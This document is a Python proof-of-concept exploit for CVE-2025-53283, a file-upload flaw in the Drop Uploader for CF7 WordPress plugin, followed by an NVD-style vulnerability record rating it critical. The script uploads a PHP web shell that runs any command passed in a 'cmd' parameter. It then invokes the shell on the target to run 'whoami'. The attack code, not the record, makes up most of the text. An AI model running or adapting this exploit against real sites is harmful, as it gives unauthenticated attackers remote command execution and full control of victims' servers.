CVE-2025-53283

import requests import sys # CVE-2025-53283 PoC - Arbitrary File Upload in Drop Uploader for CF7 # Target: WordPress site with vulnerable Drop Uploader for CF7 plugin (<=2.4.1) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # Generate WebShell content webshell = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" # Prepare file upload files = { 'file': ('shell.php', webshell, 'application/x-php') } # Upload the WebShell upload_url = f"{target_url}/wp-admin/admin-ajax.php" data = { 'action': 'ducf7_file_upload', 'nonce': 'bypass' # May need to obtain valid nonce } try: response = requests.post(upload_url, files=files, data=data, timeout=10) # Extract uploaded file path from response if response.status_code == 200: print("[+] File uploaded successfully") print(f"[+] Response: {response.text}") # Execute command via WebShell shell_url = f"{target_url}/wp-content/uploads/ducf7/shell.php" cmd_data = {'cmd': 'whoami'} exec_response = requests.get(shell_url, params=cmd_data, timeout=10) print(f"[+] Command execution result: {exec_response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2025-53283", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:56.180", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Unrestricted Upload of File with Dangerous Type vulnerability in borisolhor Drop Uploader for CF7 - Drag&Drop File Uploader Addon drop-uploader-for-contact-form-7-dragdrop-file-uploader-addon allows Upload a Web Shell to a Web Server.This issue affects Drop Uploader for CF7 - Drag&Drop File Uploader Addon: from n/a through <= 2.4.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/drop-uploader-for-contact-form-7-dragdrop-file-uploader-addon/vulnerability/wordpress-drop-uploader-for-cf7-drag-drop-file-uploader-addon-plugin-2-4-1-arbitrary-file-upload-vulnerability?_s_id=cve", "source": "[email protected]"}]}}